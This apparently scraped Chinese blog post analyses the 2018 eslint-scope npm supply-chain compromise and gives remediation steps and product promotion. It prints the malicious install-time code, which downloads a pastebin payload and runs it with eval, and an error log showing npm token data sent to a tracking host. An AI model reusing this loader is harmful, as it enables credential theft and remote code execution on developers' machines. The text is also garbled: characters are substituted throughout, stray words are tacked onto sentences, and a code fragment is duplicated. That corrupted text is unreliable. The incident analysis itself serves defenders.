共享≠安全,ESLint黑客入侵事件刨析

2018年7月12日,全球最大的面向开源及私有软件项目的托管平台GitHub对外宣称,一名黑客入侵了ESLint ,并利用Npm帐户发布了包含了恶意软件的版本3.7.2,用户在安装时,恶意代码将会自动执行,访问某个网站同时会把用户的.npmrc文件的内容发送给黑客本身,而在.npmrc文件中通常包含发布到NPM的访问令牌。html

图片描述

恶意程序包的版本是eslint-scope@3.7.2和eslint-config-eslint@5.0.2,目前npm已经撤销在2018-07-12 12:30 UTC以前发出的全部访问令牌,以及下架了受影响的包,所以,受此攻击影响的全部访问令牌都再也不可用。用户应完全删除对应版本的包及从新获取访问令牌。
经技术人员分析,若是出现如下错误信息,说明您的帐户安全存在潜在风险:前端

[2/3] ⠠ eslint-scope
error /Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope: Command failed.
Exit code: 1
Command: node ./lib/build.js
Arguments: 
Directory: /Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope
Output:
undefined:30
      https1.get({hostname:'sstatic1.histats.com',path:'/0.gif?4103075&101',method:'GET',headers:{Referer:'http://1.a/'+conten
                                                                                                                        ^^^^^^

SyntaxError: Unexpected end of input
    at IncomingMessage.r.on (/Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope/lib/build.js:6:10)
    at emitOne (events.js:116:13)
    at IncomingMessage.emit (events.js:211:7)
    at IncomingMessage.Readable.read (_stream_readable.js:475:10)
    at flow (_stream_readable.js:846:34)
    at resume_ (_stream_readable.js:828:3)
at _combinedTickCallback (internal/process/next_tick.js:138:11)

下面这段代码尝试加载一个地址为http://pastebin.com/raw/XLeVP82h 的URL。
同时,也试图发送用户的.npmrc向某个未知地方。node

try{
        var https=require('https');
        https.get({'hostname':'pastebin.com',path:'/raw/XLeVP82h',headers:{'User-Agent':'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',Accept:'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'}},(r)=>{
        r.setEncoding('utf8');
        r.on('data',(c)=>{
        eval(c);
        });
        r.on('error',()=>{});
        
        }).on('error',()=>{});
        }catch(e){}
         eval(c);
        });
        r。on(' error ',()=> {});
        
        })。on(' error ',()=> {});
        } catch(e){}

若是您已经经过GitHub引用了这段有毒代码,请当即采起如下措施:react

  1. 引脚的版本eslint-scope来3.7.1,一种办法是添加resolutions到您的package.jsongit

    "resolutions": {
               "eslint-scope": "3.7.1"   }
    验证依赖版本yarn list eslint-scope。它应该打印出来eslint-scope@3.7.1
  2. 若是可能,请使用package-lock.json或yarn.lock将其存放在您的仓库中。即便yarn outdated显示有新版本可用,也不要升级到3.7.2 。
  3. 撤销您的NPM令牌。您能够登陆https://www.npmjs.com/,从账户下拉列表中选择“令牌”菜单并删除页面上列出的全部令牌。若是将NPM挂钩到外部服务,请确保从新建立相关令牌。

如下内容摘自GitHub官网:github

Please see the following issue:
eslint/eslint-scope#39
eslint-scope 3.7.2 has been published an hour ago which is a hacked version that steals the NPM accounts or something.
Please pull the version 3.7.2 from the npm and freeze the account so this does not get propagated.
As a matter of fact, there is no release tag for 3.7.2 on Github, so I think it would be great to consider double checking with Github repository before publishing any code.
This would at least limit the possibility of uploading the malicious code to NPM without having Github credentials to tag the release/version.
Additionally I believe it's possible to check if the release was signed and somehow enforce all tagged commits to be signed. I think Github returns such information via their API, at least you can see the verified commits via Github's web interface so there must be a way. Developer may be able to opt-in for this extra security via some .rc file stored in Git repo.

该段大意为:web

“eslint-scope 3.7.2已在一小时前发布,这是一个黑客版本,窃取NPM账户或其余东西。
请从npm中提取版本3.7.2并冻结账户,这样就不会传播。
事实上,在Github上没有3.7.2的发布标签,因此我认为在发布任何代码以前考虑使用Github存储库进行双重检查会很棒。
这至少会限制将恶意代码上传到NPM的可能性,而无需使用Github凭据来标记版本/版本。
此外,我相信能够检查发布是否已签名,并以某种方式强制执行全部标记的提交以进行签名。我认为Github经过他们的API返回这些信息,至少你能够经过Github的web界面看到通过验证的提交,因此必须有办法。开发人员能够经过.rc存储在Git仓库中的某些文件来选择加入这种额外的安全性。”

信息共享是件好事,但用户信息的安全性却不容忽视。据称,本次事件发生的主要缘由是,npm维护者的帐户遭到了黑客盗用,这个维护者在其余站点上也重复使用了他们的npm密码,而且他们也没有在他们npm帐户上开启双重身份验证,因此才致使此类事件的发生。npm

对于这种状况的发生,ESLint团队深表遗憾。同时也但愿其余软件包维护者能够从此次事件中吸收经验教训并共同提升整个npm生态系统的安全。json

做为从事控件开发20余年,深谙用户数据安全重要性的葡萄城官方为npm软件包维护者和用户提供一些建议:redux

  • 软件包维护者和用户应当避免在多个不一样的站点上重复使用相同的密码。像1Password或LastPass这样的密码管理器能够帮助解决这个问题。
  • 包维护者应该开启npm双重身份验证npm 在这里有一个教程
  • 若是您在使用Lerna,则能够按照此教程进行操做。
  • 软件包维护者应审核并限制有权在npm上发布的人数。
  • 软件包维护者应当谨慎使用任何自动合并依赖项升级的服务,或者尽可能使用基于HTML5的零依赖纯前端软件,好比SpreadJSWijmoJS
  • 应用程序开发人员应使用锁文件(package-lock.json或yarn.lock)来阻止软件包自动更新以免这种损失的再次发生。

随着互联网技术的发展,黑客入侵已经向着规模化,全球化的程度迈进。仅2018年初,就已经出现了数十起足以引发国际重视的网络信息安全事件。本次黑客入侵不是开源社区安全事件的第一块儿,也不会是最后一块儿,如何杜绝网络安全隐患,是每一个开发人员必须面对的头等大事。除了作好自身安全防御外,选择使用一整套成熟的商业软件,如葡萄城的活字格SpreadJSActiveReports等也是一个不错的选择。

相关文章
相关标签/搜索